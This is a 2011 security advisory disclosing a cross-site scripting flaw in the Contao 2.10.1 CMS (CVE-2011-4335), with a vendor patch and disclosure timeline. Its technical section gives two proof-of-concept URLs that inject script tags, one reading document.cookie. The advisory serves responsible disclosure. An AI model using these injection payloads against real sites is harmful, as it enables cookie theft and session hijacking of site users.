SSCHADV2011-025 - Contao 2.10.1 Cross-site scripting vulnerability
|
Advisory:
|
Contao 2.10.1 Cross-site scripting vulnerability
|
|
Advisory ID:
|
SSCHADV2011-025
|
|
Author:
|
Stefan Schurtz
|
|
Affected Software:
|
Successfully tested on Contao 2.10.1
|
|
Vendor URL:
|
|
|
Vendor Status:
|
fixed
|
|
CVE-ID:
|
CVE-2011-4335
|
======================
Vulnerability Description:
======================
Contao 2.10 is prone to a Cross-site scripting vulnerability
==============
Technical Details:
==============
Technical Details:
==============
| http://<target>/contao-2.10.1/index.php/teachers.html?"/><script>alert(‘xss’)</script> http://<target>/contao-2.10.1/index.php/teachers/’"</style></script><script>alert(document.cookie)</script> |
=====
Solution:
=====
- Vendor patch available – http://dev.contao.org/projects/typolight/repository/revisions/1041
- Release of a new version 2.10.2 next week
================
Disclosure Timeline:
================
07-Oct-2011 – informed developers (contao@inetrobots.com)
07-Oct-2011 – vendor patch
08-Oct-2011 – release date of this security advisory
08-Oct-2011 – post on BugTraq
====
Credits:
====
Vulnerability found and advisory written by Stefan Schurtz.
=======
References:
=======
http://www.contao.org/
http://dev.contao.org/projects/typolight/repository/revisions/1041
http://www.rul3z.de/advisories/SSCHADV2011-025.txt
Trackbacks
No Trackbacks
Comments
Display comments as Linear | Threaded